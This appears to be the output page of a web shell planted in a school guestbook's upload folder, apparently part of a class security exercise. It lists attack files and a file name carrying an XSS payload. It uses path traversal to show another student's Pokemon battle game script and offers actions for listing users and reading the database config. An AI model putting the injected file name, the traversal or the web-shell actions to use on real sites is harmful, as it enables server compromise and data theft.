🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584701.klas4s23.mid-ica.nl/public_html/projects/Pokemon-game/battleScene.js

// Import the background
const battleBackgroundImageLarge = new Image();
battleBackgroundImageLarge.src = './img/battleBackground.png';

const battleBackgroundImageSmall = new Image();
battleBackgroundImageSmall.src = './img/battleBackground_small.png';

let battleBackgroundImage;
if (canvas.width === 1024 && canvas.height === 576) {
    battleBackgroundImage = battleBackgroundImageLarge;
} else if (canvas.width === 640 && canvas.height === 350) {
    battleBackgroundImage = battleBackgroundImageSmall;
}
battleBackgroundImage.style.zIndex = "-999";



const battleBackground = new Sprite ({
    position: {
        x: 0,
        y: 0
    },
    image: battleBackgroundImage
})

let draggle 
let emby
let renderSprites
let battleAnimationId
let queue
let score = 0; // Initialize score outside the event listener

/**
 * Initializes the battle interface and interactions.
 * This function sets up the battle environment and handles user interactions during battle.
 */
function initBattle() {
    document.querySelector('#userInterface').style.display = 'block'
    document.querySelector('#dialogueBox').style.display = 'none'
    document.querySelector('#enemyHealthBar').style.width = '100%'
    document.querySelector('#playerHealthBar').style.width = '100%'
    document.querySelector('#attackBox').replaceChildren()

    draggle = new Monster(monsters.Draggle)
    emby = new Monster(monsters.Emby)
    renderSprites = [draggle, emby]
    queue = []

    if (canvas.width === 640 && canvas.height === 350) {
        emby.position = { x: 130, y: 190 }; // Adjust these values as needed
        draggle.position = { x: 500, y: 40 }; // Adjust these values as needed
    }

    emby.attacks.forEach(attack => {
        const button = document.createElement('button')
        button.innerHTML = attack.name
        document.querySelector('#attackBox').append(button)
    })
    //Event listener for the buttons (attack)
    document.querySelectorAll('button').forEach((button) => {
    button.addEventListener('click', (e) => {
        const selectedAttack = attacks[e.currentTarget.innerHTML]
        emby.attack({
            attack: selectedAttack,
            recipient: draggle,
            renderSprites
        })
        

        if (draggle.health <= 0) {
            score += 1; // Increment score
            document.querySelector('#score').innerText = "Score: " + score; // Update score display

            // Get the current score from the cookie and add 1
            let savedScore = getScoreFromCookie() + 1;

            // Update the cookie with the new score
            document.cookie = "score=" + savedScore + ";path=/;max-age=31536000"; // max-age set to one year

            // If the current score is lower than the saved score, update the score with the saved score
            if (score < savedScore) {
                score = savedScore;
                document.querySelector('#score').innerText = "Score: " + score; // Update score display
            } else if (score > savedScore) {
                // If the current score is higher than the saved score, update the cookie
                document.cookie = "score=" + score + ";path=/;max-age=31536000"; // max-age set to one year
            }
            queue.push(() => {
                draggle.faint();
            })
            queue.push(() => {
                //fade back to black
                gsap.to('#overlappingDiv', {
                    opacity: 1,
                    onComplete: () => {
                        cancelAnimationFrame(battleAnimationId)
                        animate()
                        document.querySelector('#userInterface').style.display = 'none'
                        gsap.to('#overlappingDiv', {
                            opacity: 0,
                            onComplete: () => {
                                // Show a popup with "You win"
                                document.querySelector('#alertMessage').innerText = "You win!";
                                document.querySelector('#alertBox').style.display = 'block';
            
                                // Show the controls again
                                document.querySelector('.controls').style.display = 'block';
                            }
                        })
                        battle.initiated = false
                    }
                })
            })
        }

        // When player clicks the close button on the popup
        /**
            * Event listener for the close button on the popup alert.
            * Hides the alert box when the close button is clicked.
        */
        document.querySelector('#alertClose').addEventListener('click', function() {
            document.querySelector('#alertBox').style.display = 'none';
        });
        
        //draggle or enemy attacks
        const randomAttack = draggle.attacks[Math.floor(Math.random() * draggle.attacks.length)]

        queue.push(() => {
            draggle.attack({
                attack: randomAttack,
                recipient: emby,
                renderSprites
            })
            if (emby.health <= 0) {
                // Subtract 1 from score if score is greater than 0
                if (score > 0) {
                    score -= 1;
                    // Update score display
                    document.getElementById('score').innerText = "Score: " + score;
                }
                    queue.push(() => {
                        emby.faint();
                    });
                queue.push(() => {
                    //fade back to black
                    gsap.to('#overlappingDiv', {
                        opacity: 1,
                        onComplete: () => {
                            cancelAnimationFrame(battleAnimationId)
                            animate()
                            document.querySelector('#userInterface').style.display = 'none'
                            gsap.to('#overlappingDiv', {
                                opacity: 0,
                                onComplete: () => {
                                    // Show a popup with "You win"
                                    document.querySelector('#alertMessage').innerText = "You lost!";
                                    document.querySelector('#alertBox').style.display = 'block';
                
                                    // Show the controls again
                                    document.querySelector('.controls').style.display = 'block';
                                }
                            })
                            battle.initiated = false
                        }
                    })
                })
            }
        })
    })


    // When player clicks the dialogue
    button.addEventListener('mouseenter', (e) => {
        const selectedAttack = attacks[e.currentTarget.innerHTML]
        document.querySelector('#attackType').innerHTML = selectedAttack.type
        document.querySelector('#attackType').style.color = selectedAttack.color

    })
        // When a battle is initiated
        if (battle.initiated) {
            // Show the user interface
            document.querySelector('#userInterface').style.display = 'block';
        }
})
}

// Animation for the battle
/**
 * Animates the battle environment.
 * This function hides the controls, draws the battle background,
 * and renders sprites for the battle animation.
 */
function animateBattle() {
    document.querySelector('.controls').style.display = 'none'; // Hide the controls

    battleAnimationId = window.requestAnimationFrame(animateBattle)
    battleBackground.draw()
    
    renderSprites.forEach((sprite) => {
        sprite.draw()
    })
}

initBattle()
animate() // Uncomment the animate() function call


// When player clicks the dialogue
document.querySelector('#dialogueBox').addEventListener('click', (e) => {
    if (queue.length > 0) {
        queue[0]()
        queue.shift()
    } else e.currentTarget.style.display = 'none'
})

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!